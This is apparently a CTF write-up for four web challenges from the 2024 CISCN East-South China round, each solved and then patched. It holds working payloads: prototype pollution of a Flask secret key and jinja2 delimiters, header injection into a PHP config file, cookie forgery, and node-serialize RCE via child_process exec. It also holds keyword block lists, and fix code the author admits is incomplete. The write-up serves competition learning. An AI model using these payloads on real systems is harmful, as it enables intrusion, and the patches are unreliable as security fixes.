2024CISCN华东南-WEB-gxngxngxn
WEB
差不多2小时就把web给ak了,没想到华东南强度最大的不是题目,而是场地连续8小时的30多度高温(
welcome
submit-BREAK
submit-FIX
修复点在upload.php
<?php
// $path = "./uploads";
error_reporting(0);
$path = "./uploads";
$name=$_FILES['myfile']['name'];
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$allow_content_type = array("image/png");
$type = $_FILES["myfile"]["type"];
function wafupload($filename)
{
$blacklist = "ph|Ph|pH|PH|ini|htaccess|ht";
if(preg_match("/".$blacklist."/is",$filename)){
die('hacker');
}
}
wafupload($name);
if (!in_array($type, $allow_content_type)) {
die("只允许png哦!<br>");
}
if (preg_match('/(php|script|xml|user|htaccess|\?|fllllagg)/i', $content)) {
// echo "匹配成功!";
die('鼠鼠说你的内容不符合哦0-0');
} else {
$file = $path . '/' . $_FILES['myfile']['name'];
echo $file;
if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
file_put_contents($file, $content);
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
?>
<!---->
Polluted-BREAK
python原型链污染secret_key
{ "__init__" : { "__globals__" : { "app" : { "secret_key" :"gxngxngxn"} } } }
由于过滤了关键字,采用unicode编码绕过
{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
"\u0061\u0070\u0070" : {
"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" :"gxngxngxn"
}
}
}
}
接着登录
看到[%flag%]是这种形式的,想到了污染jinja2的语法标识符为[%%],让他输出flag
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "[%","variable_end_string":"%]"
}
}
}
}
{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
"\u0061\u0070\u0070" : {
"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" :{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[%","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"%]"
}
}
}
}
}
接着重置靶机,再一次性发送上述所有payload即可,登录即可得到flag
Polluted-FIX
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)
return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string','005f','%','006c']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app = Flask(__name__)
app.secret_key = generate_random_md5()
class evil():
def __init__(self):
pass
@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")
@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("important.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True, port=80)
粗心的程序员-BREAK
www.zip下载源码
看到home.php中
这里会记录请求头中X-Forwarded-For的值和username的值,然后写入到config.php中
所以我们可以让X-Forwarded-For为恶意代码,username弄个换行之类的来绕过注释
看到这里会过滤换行\n,但是没过滤\r,所以修改用户名中带有\r即可
<?php
echo base64_encode(urldecode("gxngxngxn%0d"));
生成一个base64加密的,然后修改用户名
接着带着自定义的X-Forwarded-For的值去访问home.php即可
接着访问config.php即可得到flag
粗心的程序员-FIX
修改home.php
<?php
error_reporting(0);
include "default_info_auto_recovery.php";
session_start();
$p = $_SERVER["REMOTE_ADDR"];
if (preg_match("/\?|php|:|system|eval|\?|flaaaaaag/i",$p))
{
die("");
}
$time = date('Y-m-d h:i:s', time());
$username = $_SESSION['username'];
$id = $_SESSION['id'];
if ($username && $id){
echo "Hello,"."$username";
$str = "//登陆时间$time,$username $p";
$str = str_replace("\n","",$str);
$str = str_replace("\r","",$str);
file_put_contents("config.php",file_get_contents("config.php").$str);
}else{
die("NO ACCESS");
}
?>
<br>
<script type="text/javascript" src="js/jquery-1.9.0.min.js"></script>
<script type="text/javascript" src="js/jquery.base64.js"></script>
<script>
function submitData(){
var obj = new Object();
obj.name = $('#newusername').val();
var str = $.base64.encode(JSON.stringify(obj.name).replace("\"","").replace("\"",""));
$.post("edit.php",
{
newusername: str
},
function(str){
alert(str);
location.reload()
});
}
jQuery.base64 = (function($) {
var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function utf8Encode(string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";
for (var n = 0; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < 128) {
utftext += String.fromCharCode(c);
}
else if((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
}
else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}
}
return utftext;
}
function encode(input) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
input = utf8Encode(input);
while (i < input.length) {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
keyStr.charAt(enc1) + keyStr.charAt(enc2) +
keyStr.charAt(enc3) + keyStr.charAt(enc4);
}
return output;
}
return {
encode: function (str) {
return encode(str);
}
};
}(jQuery));
</script>
更改用户名<input type="text" name="newusername" id="newusername" value="">
<button type="submit" onclick="submitData()" >更改</button>
bigfish-BREAK
访问/admin路由得到后台登录地址
显示登录功能已经禁用,查看cookie,看到这里可以直接设置用户名和is_admin
改下username为admin,is_admin为true
直接访问后台
数据储存位置存在任意文件读取,直接读fish.js
const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');
// Change working directory to /srv
process.chdir('/srv');
let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];
// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {
fs.writeFile('data.html',"#获取的数据信息\n",function(error){
console.log("wriet error")
});
});
const app = express();
app.engine('html',require('express-art-template'))
app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))
data_path = "data.html";
// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {
if (!req.cookies.username) {
res.cookie('username', 'normal');
}
if (!req.cookies.is_admin) {
res.cookie('is_admin', 'false');
}
next();
}
//主页
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname, 'public/index.html'));
});
app.post('/',function(req, res){
fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){
console.log(req.body)
});
res.sendFile(path.join(__dirname, 'public/index.html'));
});
//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.render('admin.html',{
datadir : data_path
});
}
});
app.post('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
if(req.body.newname){
data_path = req.body.newname;
res.redirect('admin');
}else{
res.redirect('admin');
}
}
});
//已弃用的登录
app.get('/login', function(req, res) {
res.sendFile(path.join(__dirname, 'public/login.html'));
});
app.post('/login', function(req, res) {
if(req.cookies.profile){
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
if (escape(obj.username) === "admin") {
res.send("Hello World");
}
}
}else{
res.sendFile(path.join(__dirname, 'public/data'));
}
});
//QQ
app.get('/qq', function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.sendFile(path.join(__dirname, data_path));
}
});
app.listen(80, '0.0.0.0');
重点看到这块,存在nodejs反序列化板块rce
app.post('/login', function(req, res) {
if(req.cookies.profile){
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
if (escape(obj.username) === "admin") {
res.send("Hello World");
}
}
}else{
res.sendFile(path.join(__dirname, 'public/data'));
}
});
直接上payload,
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('cat /this_is_your_ffflagg > /tmp/1.txt',function(error,stdout,stderr) {console.log(stdout)});}()"}
这里执行命令是无回显的,那么我们将回显内容写入文件中,利用前面的任意文件读取即可
修改位置,访问得到flag
bigfish-FIX(乱修的,最后说还要修什么xss,找半天没找到,最后还是没修好)
const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');
// Change working directory to /srv
process.chdir('/srv');
let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];
// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {
fs.writeFile('data.html',"#获取的数据信息\n",function(error){
console.log("wriet error")
});
});
const app = express();
app.engine('html',require('express-art-template'))
app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))
data_path = "data.html";
// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {
if (!req.cookies.username) {
res.cookie('username', 'normal');
}
if (!req.cookies.is_admin) {
res.cookie('is_admin', 'false');
}
next();
}
//主页
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname, 'public/index.html'));
});
app.post('/',function(req, res){
fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){
console.log("No Xss")
});
res.sendFile(path.join(__dirname, 'public/index.html'));
});
//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.render('admin.html',{
datadir : data_path
});
}
});
app.post('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
if(req.body.newname){
var newname=req.body.newname
if(newname.includes('..')){
throw new Error("No Readfile");
}else{
data_path = "data.htm";
}
res.redirect('admin');
}else{
res.redirect('admin');
}
}
});
//已弃用的登录
app.get('/login', function(req, res) {
res.sendFile(path.join(__dirname, 'public/login.html'));
});
app.post('/login', function(req, res) {
if(req.cookies.profile){
const keywords = ["rce", "\\$","require","exec","child_process","spawn","Rce","RCE","RCe","RcE","rcE","rCE"];
var str = new Buffer(req.cookies.profile, 'base64').toString();
for (const i of keywords) {
if (str.includes(i)) {
throw new Error("No RCE");
}else{
var obj = serialize.unserialize(str);
}
}
if (obj.username) {
if (escape(obj.username) === "admin") {
res.send("Hello World");
}
}
}else{
res.sendFile(path.join(__dirname, 'public/data'));
}
});
//QQ
app.get('/qq', function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.sendFile(path.join(__dirname, "data.htm"));
}
});
app.listen(80, '0.0.0.0');